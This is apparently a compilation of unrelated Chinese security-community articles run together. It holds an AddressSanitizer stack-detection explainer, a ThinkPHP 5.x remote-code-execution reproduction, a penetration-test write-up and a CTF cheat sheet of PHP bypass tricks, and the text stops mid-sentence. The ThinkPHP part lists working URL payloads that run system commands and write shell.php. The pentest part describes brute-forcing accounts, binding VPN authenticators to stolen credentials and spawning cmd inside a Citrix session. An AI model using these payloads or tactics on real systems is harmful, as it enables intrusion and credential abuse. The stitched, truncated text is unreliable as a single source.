可以看到，一个进程的内存被划分为三种类型： (1) normal mmeory:待分配或者已经分配的内存； (2) shadow
memory:内存索引区域; (3) bad memory(memory gap)。
使用先前编译出来的test再加上一些逆向工程，可以得到在真实环境下三种内存真实的大小：
#### 影子内存（Shadow Memory）
####
asan提供了一种有效的内存安全验证方式：使用辅助的内存追踪表来判断当前内存是否是合法有效的。这种内存追踪表被称作影子内存（shadow memory)。
这种机制有着显而易见的好处： 可以知道每个地址的状态。 每次访问地址前， 只要检测一下shadow memory， 就可以知道当前地址是否是合法的。 同样，
如果发生了溢出或者非法的访问， asan也会在第一时间知道发生溢出的地址。
非法内存在asan中被称作“中毒”；而合法内存则被称为“无毒”。asan中将8个字节表示为1个字节的索引值。如果索引值是0，代表8个字节是“无毒”的；
如果索引值是1，代表最后一个地址是“中毒”的（无法访问）；如果8个字节都是“中毒”的， 那么这个索引值是一个负数。
#### 访问内存操作的改变
####
在不同的C程序中， 访问内存一般是这样的：
*address=xxx
或者是
xxx=*address
在编译的时候， asan更改了访问代码， 将如上的操作变成了这样：
if (IsPoisoned(address))
{
ReportError(address, kAccessSize, kIsWrite);
}
*address = xxx; // or: xxx = *address;
经过如上的修改， 每次程序访问指针之前， 都将检查地址是否中毒， 如果中毒将抛出异常。
### 检测栈内存
###
asan相比其他的检测工具而言，栈内存检查是其拥有的一个很明显的优势。 这和asan工作的位置有关。为了更好的理解asan对栈的检测原理，
在这里需要介绍一下LLVM的工作原理。
#### LLVM工作原理
####
LLVM是Chris Lattner在2000年发起的新一代编译器项目。历经十几年的发展， LLVM已经成为成熟度很高的编译器项目。
苹果在其macOS平台引入了LLVM， 并作为其主力的编译器。
LLVM的工作流程如下所示：
LLVM在结构上可以分为编译器前端和编译器后端。 前后端使用LLVM IR作为识别的语言。 前端主要将各种不同的语言（C/C++/Swift）转化成LLVM
IR中间语言；后端使用一系列的Pass组件对LLVM IR进行一系列优化，最后将其转成对应架构的汇编语言(x86, x86/64, arm, arm64,
etc)。
#### LLVM Pass组件
####
在LLVM的前端将LLVM IR代码提交给后端的时候， 后端将调用事先注册的Pass组件， 对获得的IR流进行一系列优化。不过这里可以这样说，
开发人员可以注册一系列pass组件， 在pass组件中插入一些辅助的代码到IR中，
这样可以改变原来代码的一些行为。asan中的栈检测正是基于这种方式实现的。
#### asan检测栈内存的方式
####
假设有如下的代码：
void foo() {
char a[8];
...
return;
}
如果开发者在编译程序的时候启用了asan， 那么asan将会把以上的代码更改为：
void foo() {
char redzone1[32]; // 32-byte aligned
char a[8]; // 32-byte aligned
char redzone2[24];
char redzone3[32]; // 32-byte aligned
int *shadow_base = MemToShadow(redzone1);
shadow_base[0] = 0xffffffff; // poison redzone1
shadow_base[1] = 0xffffff00; // poison redzone2, unpoison 'a'
shadow_base[2] = 0xffffffff; // poison redzone3
...
shadow_base[0] = shadow_base[1] = shadow_base[2] = 0; // unpoison all
return;
}
asan在申请的栈数据周围用“下毒”的警戒区包围住。 当发生越界访问的时候， 该错误将会被asan侦测到。
### 检测堆内存
###
堆内存的检测将在另外一篇文章中描述。
**asan实现**
****
asan可以在源代码级别同时检测栈内存和堆内存，但是两种检测手段差别很大。栈内存的检查是基于LLVM Pass， 在编译阶段插入了检测代码；
而堆内存则是使用了动态替换malloc、free这些函数达到了检测的目的。因此， asan的实现分为两部分：栈实现和堆实现。本篇文章只讨论栈内存的检测手段。
### asan的栈检测实现
###
因为asan在检查栈的时候， 使用了插入的检测代码手段， 具体来说是在程序的LLVM IR中插入了代码。 为了简化分析， 可以直接查看相应的LLVM
IR代码， 以查看具体的实现和修改。
#### 准备工作
在这里， 还是使用上面的test.c文件作为我们的测试代码。使用如下的命令， 我们可以得到使用asan前后test.c对应的LLVM IR(
**由于默认采用了-O0的方式编译本文出现的所有文件， 因此得到的IR可能不是标准的SSA形式， 在此特别说明** )。
[不启动asan]: clang ./test -o ./test1.ll -emit-llvm -S
[启用asan]: clang ./test -o ./test2.ll emit-llvm -S -fsanitize=address
#### 分析文件
为了更好地和asan生成的IR比较， 因此首先查看文件test1.ll， 文件内容如下：
; Function Attrs: nounwind ssp uwtable
define i32 @main() #0 {
%1 = alloca i32, align 4
%a = alloca [32 x i8], align 16
%b = alloca [32 x i8], align 16
%c = alloca [50 x i8], align 16
store i32 0, i32* %1, align 4
%2 = getelementptr inbounds [32 x i8], [32 x i8]* %a, i64 0, i64 1
store i8 49, i8* %2, align 1
%3 = getelementptr inbounds [32 x i8], [32 x i8]* %b, i64 0, i64 32
store i8 97, i8* %3, align 16
%4 = getelementptr inbounds [50 x i8], [50 x i8]* %c, i64 0, i64 100
store i8 99, i8* %4, align 4
ret i32 0
}
可以看到IR几乎是test.c中的代码的直接翻译。
接下来， 可以查看test2.ll中的内容，由于生成的test2.ll文件比较大， 在当前计算机上生成了超过300行的代码。于是，分段查看当前的代码：
define i32 @main() #0 {
%1 = alloca i32, align 4
%2 = load i32, i32* @__asan_option_detect_stack_use_after_return
%3 = icmp ne i32 %2, 0
br i1 %3, label %4, label %6
; <label>:4 ; preds = %0
%5 = call i64 @__asan_stack_malloc_2(i64 256)
br label %6
; <label>:6 ; preds = %0, %4
%7 = phi i64 [ 0, %0 ], [ %5, %4 ]
%8 = icmp eq i64 %7, 0
br i1 %8, label %9, label %11
; <label>:9 ; preds = %6
%MyAlloca = alloca i8, i64 256, align 32
%10 = ptrtoint i8* %MyAlloca to i64
br label %11
如果asan中启用了 **asan_option_detect_stack_use_after_return标志， 那么使用**
asan_stack_malloc_2分配栈内存；否则使用alloca分配栈内存。 在这里需要注意的是分配栈的大小是256个字节。在test1.ll中，
可以看到当前的代码在栈上分配内存有三个，分别是[32 _i8], [32_ i8]和[50 * i8]。
并且由上面部分可以知道asan将会在每个栈变量两侧插入相应的redzone作为检测变量是否溢出的依据。因此当前的栈结构应该是这样的：
整个栈是32个字节对齐的， 一般来说是32个字节， 但是理论上也可能存在更大的对齐值。
; <label>:11 ; preds = %6, %9
%12 = phi i64 [ %7, %6 ], [ %10, %9 ]
%13 = add i64 %12, 32 ; 得到%a的地址
%14 = inttoptr i64 %13 to [32 x i8]* ; 得到%a的指针
%15 = add i64 %12, 96
%16 = inttoptr i64 %15 to [32 x i8]* ; 得到%b
%17 = add i64 %12, 160
%18 = inttoptr i64 %17 to [50 x i8]* ;得到%c
%19 = inttoptr i64 %12 to i64*
store i64 1102416563, i64* %19 ; rsp=0x41B58AB3
%20 = add i64 %12, 8 ; rsp+8
%21 = inttoptr i64 %20 to i64*
store i64 ptrtoint ([33 x i8]* @__asan_gen_ to i64), i64* %21 ;栈信息指针
%22 = add i64 %12, 16 ; rsp+16 = ptr main
%23 = inttoptr i64 %22 to i64*
store i64 ptrtoint (i32 ()* @main to i64), i64* %23
%24 = lshr i64 %12, 3 ;shadow memory[0]
%25 = or i64 %24, 17592186044416 ;imm=0x100000000000
%26 = add i64 %25, 0 ;redzone[0]
%27 = inttoptr i64 %26 to i64*
store i64 4059165169, i64* %27
%28 = add i64 %25, 8 ;redzone[1]
%29 = inttoptr i64 %28 to i64*
store i64 4076008178, i64* %29
%30 = add i64 %25, 16 ;redzone[2]
%31 = inttoptr i64 %30 to i64*
store i64 4076008178, i64* %31
%32 = add i64 %25, 24 ; redzone[3]
%33 = inttoptr i64 %32 to i64*
store i64 -868082074072776704, i64* %33
store i32 0, i32* %1, align 4
%34 = getelementptr inbounds [32 x i8], [32 x i8]* %14, i64 0, i64 1
%35 = ptrtoint i8* %34 to i64
%36 = lshr i64 %35, 3
%37 = or i64 %36, 17592186044416
%38 = inttoptr i64 %37 to i8*
%39 = load i8, i8* %38
%40 = icmp ne i8 %39, 0
br i1 %40, label %41, label %46, !prof !2
asan在这里重新定位了三个变量。其次做了如下三件事： (1) 在redzone[0]保存了三个指针信息， 地址从低到高分别为： _[rsp+0x00] =
0x41B58AB3 (redzone[0]'s magic number)_ [rsp+0x08] = @ **asan _gen_ (@**asan
_gen_ 保存了当前栈的基本信息) _[rsp+0x10] = ptr @main (当前函数的函数指针) (2) 设置shadow
memory的基本信息：_ 如果是redzone[0], 那么使用0xF1F1F1F1进行填充， 以此作为检测手段； _如果是redzone[1],
那么使用0xF2F2F2F2进行填充；_ redzone[3]则使用0xF3F3F3F3。 * 正常分配的内存则是使用0进行说明。 如果是0，
那么证明当前位置是有效的。 为了更好的理解这部分内容， 我将使用调试器查看shadow memory中具体的值：
这里可以很清楚的看到shadow memory的内存布局， 也可以更好的理解asan的检测原理。
(3) 对访问内存的行为做了如下的改变：
%34 = getelementptr inbounds [32 x i8], [32 x i8]* %14, i64 0, i64 1
%35 = ptrtoint i8* %34 to i64
%36 = lshr i64 %35, 3 ;计算索引
%37 = or i64 %36, 17592186044416 ;在lowmemory区域
%38 = inttoptr i64 %37 to i8* ;取出当前位置的值
%39 = load i8, i8* %38
%40 = icmp ne i8 %39, 0 ;比较是否是合法的
asan在程序每次访问指针的时候， 都检测其对应的shadow memory是否是0。 如果是0， 那么认为指针是合法的；
否则直接报错。test2.ll中的其他部分大部分都是这样检测的。
#### 结论
####
asan的栈的检测是一项功能强大的工具，可以很好的检查出栈指针越界的问题。程序开发人员或者漏洞查找人员可以多利用asan检查或者找出更多的“越界漏洞”，
以保证程序的安全性。
**参考**
****
1. [libtidy global buffer overflow](https://marcograss.github.io/bug/2016/08/03/libtidy-global-bof.html)
2. [LLVM IR](http://llvm.org/docs/LangRef.html)
3. [AddressSanitizerAlgorithm](https://github.com/google/sanitizers/wiki/AddressSanitizerAlgorithm)
4. [asan in Xcode7](http://www.cocoachina.com/ios/20150729/12830.html)
5. [asan from google](http://static.googleusercontent.com/media/research.google.com/zh-CN//pubs/archive/37752.pdf)
Happy Hacking JudyZhu123 | 社区文章 |
# 漏洞复现
**5.0.x**
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
**5.1.x**
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
## 影响版本
5.0.7<=thinkphp<=5.0.22
5.1.x
# 漏洞分析
直接在入口文件处下断点
一路跟到run()方法里面的路由检测部分
跟进routeCheck()方法
public function routeCheck()
{
$path = $this->request->path();
$depr = $this->config('app.pathinfo_depr');
// 路由检测
$files = scandir($this->routePath);
foreach ($files as $file) {
if (strpos($file, '.php')) {
$filename = $this->routePath . DIRECTORY_SEPARATOR . $file;
// 导入路由配置
$rules = include $filename;
if (is_array($rules)) {
$this->route->import($rules);
}
}
}
if ($this->config('app.route_annotation')) {
// 自动生成路由定义
if ($this->debug) {
$this->build->buildRoute($this->config('app.controller_suffix'));
}
$filename = $this->runtimePath . 'build_route.php';
if (is_file($filename)) {
include $filename;
}
}
// 是否强制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');
// 路由检测 返回一个Dispatch对象
return $this->route->check($path, $depr, $must, $this->config('app.route_complete_match'));
}
看到最上面$path通过path()方法获取，跟进一下path方法
public function path()
{
if (is_null($this->path)) {
$suffix = $this->config->get('url_html_suffix');
$pathinfo = $this->pathinfo();
if (false === $suffix) {
// 禁止伪静态访问
$this->path = $pathinfo;
} elseif ($suffix) {
// 去除正常的URL后缀
$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);
} else {
// 允许任何后缀访问
$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);
}
}
return $this->path;
}
最后返回的$path是$pathinfo获取来的，$pathinfo又是通过pathinfo()方法获取来的，跟进pathinfo()方法
通过代码可以发现是通过URL获取来的，根据debug最后返回的值是我们传入的index/\think\Container/invokefunction
回到path方法，经过一些处理，返回值还是index/\think\Container/invokefunction
再回到routeCheck()方法，可以看到有如下判断
// 是否强制路由模式
$must = !is_null($this->routeMust) ? $this->routeMust : $this->config('app.url_route_must');
如果开启了强制路由，那么我们输入的路由将报错导致后面导致程序无法运行，也就不存在RCE漏洞，但是默认是开启的
上面我们就分析完了routeCheck函数，得到了$dispatch的值
接下来我们走到了
$data = $dispatch->run();
跟进一下run()方法
首先是将/替换成了|，得到了$url
然后使用parseUrl()方法处理$url得到$result
跟进parseUrl()方法，关注如下一行代码
list($path, $var) = $this->parseUrlPath($url);
再跟进parseUrlPath()方法
将$url里面的|换成了/，然后通过如下判断根据/将其进行分割成数组存入$path
elseif (strpos($url, '/')) {
// [模块/控制器/操作]
$path = explode('/', $url);
然后退出parseUrlPath()方法，退出parseUrl()方法，状态如下
接着传入$result实例化Moudle类然后执行run方法
跟进run()方法，接着通过URL获取控制器名
获取操作名
接着跟进实例化控制器，controller方法，保存在$instance
跟进parseModuleAndClass()方法
得到$class和$module的值
接着回到$controller方法，判断类是否存在，如果存在则调用__get()方法，然后回到run方法
判断方法在当前环境是否可以调用，当然可以，然后得到$call和$vars
然后执行
return Container::getInstance()->invokeMethod($call, $vars);
跟进invokeMethod()方法，通过反射方式调用方法
成功实现RCE | 社区文章 |
# 一份通告引发的内网突破
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1609152987&ver=2794&signature=dXEWy0K2ochz-VaeqG3QglOkQQG7xgSfhkOKtTQ82J0H1Y2vKwzCEajToC0vEH2cPZ2Mxk2x8UQvL3leLqA3plUasoIdDt1sF1U87YcZ0VrBgOinhhZDTU5cvE76ubhY&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1609152987&ver=2794&signature=dXEWy0K2ochz-VaeqG3QglOkQQG7xgSfhkOKtTQ82J0H1Y2vKwzCEajToC0vEH2cPZ2Mxk2x8UQvL3leLqA3plUasoIdDt1sF1U87YcZ0VrBgOinhhZDTU5cvE76ubhY&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
本文记录某项目，在开始尝试各类漏洞未果的情况下，利用平台的逻辑缺陷，打造出一份高质量的用户名和密码字典，巧妙的通过VPN突破内网的经历。
## 二 、背景
经过客户授权，于x月xx日-xx日对客户系统进行了渗透评估，通过模拟真实网络攻击行为，评估系统是否存在可以被攻击者利用的漏洞以及由此因此引发的风险大小，为制定相应的安全措施与解决方案提供实际的依据。客户要求只允许针对官方门户网站两个主域名进行攻击，确保不影响其他子公司业务，严禁对非指定系统和地址进行攻击，严禁使用对业务有高风险的攻击手法。
## 三、信息收集
### 子域名/IP信息收集
通过对客户提供的两个域名，进行前期的信息收集，扩大可利用范围，这里使用OneForAll、fofa、搜索引擎等工具收集到以下相关的域名与IP地址。
随即祭出goby扫描上述IP地址C段、端口等信息后进行汇总整理。
### App/公众号信息收集
通过天眼查、七麦数据获取到部分App、微信公众号。
使用ApkAnalyser提取安卓应用中可能存在的敏感信息，并对其关键信息进行汇总。
### GitHub/网盘信息收集
使用github搜索目标的关键字，获取到部分信息。
## 四、漏洞挖掘
### 站点A渗透
通过前面的信息收集整理后，我们梳理出几个关键的系统进行深入测试，在该福利平台登陆页面随意提交用户名及密码并进行抓包分析。
发现该请求包对应的响应包存在缺陷验证，通过修改响应包的值从而突破原有错误信息的拦截，使用admin用户，成功进入后台。
进入后台后，尝试寻找上传点，一番搜寻后，并未找到。在点击系统管理，尝试新建用户时，发现系统自动填充了默认密码。
拿到该后台的默认登录口令，我们根据初始密码的特征，构造出了一份高质量密码字典，为下一步去爆破其他后台和邮箱系统做好铺垫。
### 站点B渗透
在测试的过程中，发现某销售平台登陆处存在逻辑缺陷，可以对用户账户和密码进行暴力破解。通过在站点A得到的系统默认密码构造的字典，成功爆破出8个普通权限的账户。
登录其中一个账户，发现该平台在用户管理位置，存在大量内部员工的信息，其中包含中文姓名，利用python脚本将中文姓名批量转换成拼音，定制出一份高质量的用户名字典。
### 站点C渗透
在前面收集的过程当中，我们发现目标使用的是outlook邮箱，且邮箱登陆存在登陆存在缺陷，没有验证码等防护，可以直接进行暴力破解用户账户和密码，这里我们用python转换成姓名拼音，构造字典进行爆破，在爆破的过程当中调低线程，且用固定密码跑用户名，成功跑出了一批有效的邮箱账户。
用出来的账户，成功登陆邮箱，通过邮箱通讯录获得大量内部用户名，并进行其他各类有效信息的收集整理。
### 站点D渗透
到这一步的时候，我们在web站点上的收获并不是太大，没有能直接获取到shell的点，于是我们把目光转向前期收集到的APP上。
下载相关的app,并用在web站点收集到的的用户信息，成功撞出了某用户密码为xxx的账号，发现可以登录目标的APP，使用某用户的账号密码可成功登录。在APP中的通知公告部分发现了一个移动办公平台停机维护的通知，并写明其VPN登录地址和注册地址。登录地址：xxx
注册地址：xxx
看到这个信息，心里一喜，感觉前方有路，随手用浏览器访问一下移动平台的登录地址跟注册地址，没毛病，可以成功进行访问。由于前期进行信息收集的时候也收集到一个vpn的登陆地址，目前根据这份通知可以确定，目标近期做了vpn登陆方式的变更，猜测目前可能有部分员工还没有完成登陆方式的变更，可能是一个突破口，于是我们把精力放在VPN这个点。
## 五、突破内网
### VPN绑定设备
在多方试依旧没有找到突破点的时候，对我们刚刚获取到新vpn地址进行测试，利用之前收集到账户跟密码尝试登陆，发现需要通行码才可以进行下一步，现在需要考虑怎么拿到用户的通行码。
在注册地址处分析注册流程，发现可以对正确的用户跟密码进行绑定设备从而得到通行码，流程为下图所示，密码错误的时候会提示请重试或联系技术人员。
在账户跟密码正确的时候，这里使用账号密码xxx/xxx可以直接进行设备绑定，这一步值得一提的是最开始尝试我们已经搜集到的账号密码均不能成功进行登陆，差一点放弃，后来不甘心，重新梳理了一遍流程，从之前所有能登陆的邮箱再次搜集到几个有效账号密码后，最终找到两个具有vpn权限的有效账号，随之进行下一步。
在自己手机上下载好移动办公平台维护通知中提到的workspace和Authenticator软件后，接着在设备页面这里选择添加设备名为test。
打开手机上的Authenticator扫描其中生成的二维码，点击进行绑定后，即可获得该用户的通行码。
### 登录移动办公平台
在绑定设备后，拿到通行码，现在使用xxxx/xxxx这个用户在地址进行登录。
成功通过vpn登录移动办公平台，在其中发现核心业务系统、人管系统、数据报表平台、运维平台、OA系统等等内网系统的操作权限。
选择详情信息，打开IT运维管理系统，发现需要安装citrixReceiver下载citrixReceiverWeb.dmg进行安装。
在成功安装后，再次打开IT运维管理系统即可正常访问内网业务，对其他的核心业务系统、人管系统、数据报表平台进行访问，发现均可正常访问，成功的突破到内网。
### 登录内网IT运维管理平台
使用收集到的账号跟密码，尝试登录IT运维管理平台，可成功登录，登录账号，xxx/xxx，xxxx/xxxx登录成功后通过工单查询进行信息收集整理。
### 登录内网OA平台
通过在IT运维管理平台收集到的用户跟密码，使用xxxx/xxxx登录,成功登录OA系统。
### 登录内网数据报表系统
- 依旧使用在运维管理平台中收集并整理的信息，使用xxxx/xxxx可成功登录内网数据报表系统。
### 通过chrome浏览器调用cmd
在逐个测试的过程中，发现核心业务系统是可以通过chrome浏览器打开的。
这里使用chrome的开发者模式选择加载已解压的扩展程序，调出Windows服务器的文件夹，在文件夹中输入cmd回车可直接调出cmd窗口。经过测试发现，这种情况下是会把本地磁盘进行共享，并且可以双向复制粘贴，因此可以直接把相关工具拖入内网，也可以把内网的东西拖入到本地，到这一步就舒服了…..
首先使用ipconfig/all可看到当前所在机器地址及相关信息。
由于下一步的内网操作相对敏感、危害性大，我们经过跟客户沟通后，客户经过评估，客户叫停了后续的测试。
## 六、总结
本次测试过程大致如下：
1、 经过前期web站点的信息收集，和漏洞挖掘后，获取到部分账户跟密码。
2、 在某个内部app当中获取VPN变更后的地址。
3、 尝试未绑定的员工账户进行VPN绑定，最终找到一个运维权限的账户。
4、 成功登陆Citrix Gateway,并具有了内网系统的访问权限。
5、 使用chrome的开发者模式调用cmd,测试后，发现可以进行磁盘共享。 | 社区文章 |
# CTF/PHP特性汇总
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言：
做CTF题时经常会遇到各种php弱类型和一些函数的绕过方法，由于知识比较零碎，就总结一下我所遇到的，也方便自己以后观看。
## 0x00:Hash比较缺陷
>
> `PHP`在处理哈希字符串时，通过`!=`或`==`来对哈希值进行比较，它把每一个以`0e`开头的哈希值都解释为`0`，所以如果两个不同的密码经过哈希以后，其哈希值都是以`0e`开头的，那么`PHP`将会认为他们相同，都是`0`
审计代码，我们输入的不能相等，但`md5`却需要相等，这明显的就是利用`Hash`的比较缺陷来做
我们只要找出两个数再`md5`加密后都为`0e`开头的即可，常用的有以下几种
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
所以构造`a=QNKCDZO&b=s878926199a`即可绕过
## 0x01:md5
#### 第一种：md5函数绕过
> 一、`md5()`函数获取不到数组的值，默认数组为0
> 二、`sha1()`函数无法处理数组类型，将报错并返回false
payload：
name[]=1&password[]=2
注意这里是`===`，不是`==`，所以这里采用`md5()`函数获取不到数组的值，默认数组为0这个特性来做，payload:
username[]=1&password[]=2
#### 第二种：md5强类型绕过
(string)$_POST['a1']!==(string)$_POST['a2']
&& md5($_POST['a1'])===md5($_POST['a2'])}
例如这段代码，使用数组就不可行，因为最后转为字符串进行比较，所以只能构造两个MD5值相同的不同字符串.
两组经过url编码后的值
#1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
#2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%
## 0x03:intval函数绕过
#### 第一个特性：
#### 第二个特性：
例如：
payload如下:
?num=0x117c
?num=010574
除此之外，这个函数还可以使用小数点来进行操作
#### 第三个特性：
> 如果$base为0直到遇上数字或正负符号才开始做转换，在遇到非数字或字符串结束时(\0)结束转换，但前提是进行弱类型比较
例如：
payload：
?num=4476e1
## 0x04:preg_match函数绕过
#### 第一种：/m
if(preg_match('/^php$/im',$a))
> /m 多行匹配，但是当出现换行符 `%0a`的时候，会被当做两行处理，而此时只可以匹配第 1 行，后面的行就会被忽略。
#### 第二种：回溯绕过
PHP为了防止正则表达式的拒绝服务攻击（reDOS），给pcre设定了一个回溯次数上限pcre.backtrack_limit,可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限
回溯次数上限默认是100万,如果回溯次数超过了100万，preg_match返回的 **便不再是0或1，而是false**
，利用这个方法，可以写一个脚本，来使回溯次数超出pcre.backtrack_limit限制，进而绕过WAF
import requests
url = 'http://3638bf4e-f63d-477c-95eb-ba023f279de8.chall.ctf.show:8080/'
data = {
'f':'very'*250000+'ctfshow'
}
reponse = requests.post(url,data=data)
print(reponse.text)
## 0x05: preg_replace /e 模式下的代码执行
> /e 模式修正符，是 preg_replace() 将 $replacement 当做php代码来执行
**ZJCTF，不过如此**
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
这里的代码便涉及到了preg_replace /e 模式下的代码执行，原理的话师傅讲的很明白，这里不再叙述
**直接放payload：**
\S*=${phpinfo()}
**得到flag**
?\S*=${eval(getFlag())}&cmd=system('cat /flag');
#最后的分号要加，除此之外，也可以：
?\S*=${eval($_POST[lemon])}
#POST DATA
lemon=system('cat /flag');
## 0x06：in_array宽松比较
in_array函数有一个特性 **，** 如果不设置第三个参数将使用宽松的比较
可以在本地测试一下
例如这道题：
上面的代码对下面无影响，直接写webshell即可，但是要注意文件名开头必须是以数字开头的
?n=1.php
DATA:
content=<?php system('cat *.php');?>
## 0x07:变量覆盖
#### 第一种：extract函数、parse_str函数
> `extract()` 函数使用 **数组键名** 作为 **变量名** ，使用 **数组键值** 作为 **变量值**
> ，当变量中有同名的元素时，该函数默认将原有的值给覆盖掉。这就造成了变量覆盖
`POST`方法传输进来的值通过`extrace()`函数处理，直接传入以`POST`的方式传入`pass=1&thepassword_123=1`就可以进行将原本的变量覆盖，并且使两个变量相等即可。
还有就是这两个函数如果结合起来使用，也会造成变量覆盖
代码中同时含有`parse_str和extract($_POST)`可以先将GET方法请求的解析成变量，然后再利用extract()
函数从数组中将变量导入到当前的符号表,故payload为：
?_POST[key1]=36d&_POST[key2]=36d
#### 第二种：$$变量覆盖
$$变量覆盖要具体结合代码来看，可能会需要借助 **某个参数进行传递值** ，也有可能使用 **$GLOBALS（引用全局作用域中可用的全部变量）**
来做题，例如：
这道题便需要借助某个参数进行传递值，具体也不详细说明了，payload如下：
?Sn0w=flag
DATA:
error=Sn0w
实际在代码中为
GET:
$Sn0w=$flag
POST:
$error=$Sn0w
## 0x08:通过数组绕过
#### ereg()函数
> 一、ereg()函数存在NULL截断漏洞,可以%00截断，遇到%00则默认为字符串的结束，所以可以绕过一些正则表达式的检查。
> 二、ereg()只能处理字符串的，遇到数组做参数返回NULL。
> 三、空字符串的类型是`string`，`NULL`的类型是`NULL`,`false、true`是`boolean`类型
#### strpos()函数
> strpos()函数如果传入数组，便会返回NULL
#### strcmp()函数
`strcmp()`函数比较两个字符串(区分大小写）,定义中是比较 **字符串类型**
的，但如果输入其他类型这个函数将发生错误，在官方文档的说明中说到在`php
5.2`版本之前，利用`strcmp`函数将数组与字符串进行比较会返回`-1`，但是从`5.3`开始，会返回`0`。
payload:
#POST DATA
pass[]=1
数组和字符进行比较结果不会返回`1`，即为`false`,加上非的作用，即可变成`true`,则满足条件
## 0x09：PHP自身特性
#### PHP的变量名格式
**在CTF中也经常考察PHP的变量名格式，例如这道题：**
`$_POST['CTF_SHOW.COM']`无法传入参数，这是因为PHP变量名应该只有 **数字字母下划线。**
而且GET或POST方式传进去的变量名,会自动将`**空格**` `+ . [`转换为`_`
payload:
DATA:
CTF_SHOW=1&CTF[SHOW.COM=1
#### PHP数字可与字符做运算
## 0x10：escapeshellarg&escapeshellcmd函数绕过
模仿师傅的例子进行学习
[谈谈escapeshellarg参数绕过和注入的问题](http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/)
**escapeshellarg**
**escapeshellcmd**
先通过例子来查看一下 **escapeshellarg** 函数的作用吧
<?php
var_dump(escapeshellarg("123"));
var_dump(escapeshellarg("12' 3"));
?>
在解析单引号的时候 , 被单引号包裹的内容中如果有变量 , 这个变量名是不会被解析成值的，但是双引号不同 , bash 会将变量名解析成变量的值再使用。
所以即使参数用了 **escapeshellarg** 函数过滤单引号，但参数在拼接命令的时候如果用了双引号的话还是会导致命令执行的漏洞。
再来看一下 **escapeshellcmd** 函数的作用
两个函数都会对单引号进行处理，但是有区别的,如下：
对于单个单引号, **escapeshellarg** 函数转义后,还会在左右各加一个单引号,但 **escapeshellcmd**
函数是直接加一个转义符，对于成对的单引号, **escapeshellcmd** 函数默认不转义,但 **escapeshellarg** 函数转义
那既然有这个差异，如果 **escapeshellcmd()** 和 **escapeshellarg()** 一起出现会有什么问题
**测试**
**结果**
**分析**
一开始传入的参数
127.0.0.1' -v -d a=1
经过escapeshellarg函数处理，先转义再用单引号括起来
'127.0.0.1'\'' -v -d a=1'
再经过escapeshellcmd函数处理，数中的\以及a=1'中的单引号进行处理转义
'127.0.0.1'\\'' -v -d a=1\'
由于这一步的处理，使得\\被解释成了\而不再是转义字符，所以单引号配对连接之后将语句分割为三个部分
因此最后system函数是对`127.0.0.1\`发起请求，POST 数据为`a=1'`，如果两个函数翻过来则不会出现这个问题
接下来就通过一个题目来实践一下：
**Online Tool**
代码中是先使用了 **escapeshellarg** 函数，再使用 **escapeshellcmd**
函数便会引发上面的问题,再来仔细观察一下代码，发现`mkdir\chadir`函数，创建目录和改变当前的目录，应该是要我们写文件进去的，`system()`函数又是一串namp命令后面拼接上GET传入的参数，因为参数经过了上面的参数处理，`；`等都会被转义，所以就要从拼接的namp命令想办法了，查了百度谷歌没查到，看了WP才知道
> nmap命令中 参数`-oG`可以实现将命令和结果写到文件（也就是可以写木马）
接下来就写payload，`escapeshellarg`函数会先对host变量中的单引号进行转义，并且转义之后，在 `\'` 的左右两边再加上单引号，变成
`'\''`
然后`escapeshellcmd`函数，会对host变量中的特殊字符进行转义
> （&#;`|*?~<>^()[]{}$, \x0A//和\xFF以及不配对的单/双引号转义）
